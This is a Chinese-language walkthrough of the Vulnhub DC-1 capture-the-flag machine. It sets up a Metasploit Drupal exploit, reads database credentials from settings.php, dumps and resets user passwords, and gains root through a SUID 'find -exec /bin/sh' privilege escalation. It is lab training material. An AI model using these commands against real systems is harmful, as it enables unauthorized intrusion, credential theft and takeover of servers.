## vulhub靶机DC-1 ## 简述 该靶机需要找到5个flag 靶机下载地址(.ova):https://download.vulnhub.com/dc/DC-1.zip ## 信息搜集阶段 目标主机的ip是未知的,使用扫描工具对网段进行探测 我这里使用的是fscan,目标虚拟机设置为NAT模式,对目标网段进行扫描 一般排除一下就可以确定目标主机了,目标主机为192.168.48.132 这里还扫出了漏洞信息  在msf里搜索下关于drupal的漏洞信息 第二个就是上面扫出来的sql注入漏洞  ## 漏洞利用 利用该漏洞,并设置参数 set targeturi 192.168.48.132 目标路径 set RHOSTS 192.168.48.132 目标ip set RPORT 80 目标端口 show options 查看该模块设置参数  设置完成后,输入exploit开始运行 运行成功后,可以操作目标服务器了  ls查看下文件,找到flag1.txt   提示我们找配置文件 切换到drupal配置文件路径下 /sites/default/settings.php 可以看到数据库的用户名密码和flag2.txt 注意这里说暴破不是唯一方法   用上面得到的用户名和密码尝试登录mysql 进入shell模式后,登录mysql发现报错了 这里查了下,是需要用python转换成标准的shell才能执行 输入python -c "import pty;pty.spawn('/bin/sh')" 即可 括号里的路径应该与上面报错提示的路径一样,有的可能是/bin/bash  输完上面的指令后出来$符即可,然后登录mysql show databases; 查看数据库 use drupaldb; 切换drupaldb数据库下 show tables; 查看当前数据库下的表 select * from users; 查看user表中的内容  发现密码都加密了  scripts目录下有个password-hash.sh,试下能不能解开 发现只能加密不能解密,而且运行这个脚本需要退到/var/www路径下执行  没法解密那就更新替换掉admin密码  使用更改后的admin密码登陆网站 找到flag3,需要提权的意思   里面提到了passwd,查看下/etc/passwd 找到flag4.txt,切换到对应的路径下查看该文件   ## 提权 进行提权获取root权限 find / -perm -u=s -type f 2>/dev/null 使用find命令查看拥有suid权限的文件 find / -name flag4 -exec "whoami" \; 尝试用find执行whoami命令 find / -name flag4 -exec "/bin/sh" \; 使用find命令提权 这块细节方面可以结合看下find参数和suid提权的文章  获取到root权限后,在/root目录下找到最后一个flag  还想试下找到root账户的密码,无果 